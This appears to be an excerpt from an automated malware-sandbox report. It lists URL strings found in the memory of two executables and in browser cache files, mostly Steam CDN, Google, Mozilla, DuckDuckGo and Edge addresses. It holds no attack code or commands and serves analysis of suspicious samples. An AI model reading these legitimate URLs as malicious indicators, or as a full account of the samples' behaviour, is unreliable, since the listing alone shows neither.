Source: manifest.json.14.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 0d23a4d0-9a30-47a0-b238-b4cd1141cb3f.tmp.16.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_489.10.dr	String found in binary or memory: https://clients6.google.com
Source: 1017b01294.exe, 00000022.00000002.2515038353.0000000000DDC000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fa
Source: 1017b01294.exe, 00000022.00000002.2515038353.0000000000DDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fast(
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: 1017b01294.exe, 00000022.00000002.2515038353.0000000000DDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/publ
Source: 1017b01294.exe, 00000022.00000002.2515038353.0000000000DDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/
Source: 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.000000000088F000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=h6HMV-M6cfAX&a
Source: 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=1Zpka7DM_TWk&l=english
Source: 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=qM6wpZLwO_gf&amp
Source: 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=g2Zx7e0yBV_M&l=english
Source: 1017b01294.exe, 00000022.00000002.2515038353.0000000000DDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?vx
Source: 1017b01294.exe, 00000022.00000002.2515038353.0000000000DDC000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: 1017b01294.exe, 00000022.00000002.2515038353.0000000000DDC000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=ftiDdX_V0QeB&l=englis
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.000000000088F000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: 1017b01294.exe, 00000022.00000002.2515038353.0000000000D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javasc
Source: 1017b01294.exe, 00000022.00000002.2515038353.0000000000D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applicati
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.000000000088F000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.000000000088F000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=KLqJaM1v
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.000000000088F000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=TONm
Source: 1017b01294.exe, 00000022.00000002.2515038353.0000000000D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applicationsL
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=0IXKH44IpF1u&l=english
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=1vfyNnvUqkgy&l=engl
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=f9Xv_dG_70Ca&l=english
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=Gr5o1d5GQef0&l=en
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=g9lbYg_WDvLO&l=e
Source: 1017b01294.exe, 00000022.00000002.2515038353.0000000000DDC000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=HNbD--FePQTr&l=english
Source: 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=ij4Q-MLeHxnJ&l=engl
Source: 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=2VOT8-1_tx9Q&l=en
Source: 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=fK65ckRAjZr-&
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=oaWa21XUbd8h&am
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: chromecache_489.10.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.1601463331.00000000232D2000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000002.2527541833.00000000056D5000.00000004.00000800.00020000.00000000.sdmp, FBAKEHIEBKJJJJJKKKEG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.1601463331.00000000232D2000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000002.2527541833.00000000056D5000.00000004.00000800.00020000.00000000.sdmp, FBAKEHIEBKJJJJJKKKEG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 2cc80dabc69f58b6_0.14.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json.14.dr	String found in binary or memory: https://docs.google.com/
Source: chromecache_489.10.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json.14.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.14.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json.14.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.14.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json.14.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.14.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.14.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.14.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.14.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.14.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json.14.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.1480252037.000000002327E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1579011520.000000000084E000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2401300315.0000000005717000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2438837520.0000000005739000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1480252037.000000002327E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1579011520.000000000084E000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2401300315.0000000005717000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2438837520.0000000005739000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1480252037.000000002327E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1579011520.000000000084E000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2401300315.0000000005717000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2438837520.0000000005739000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log0.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log0.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 000003.log0.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
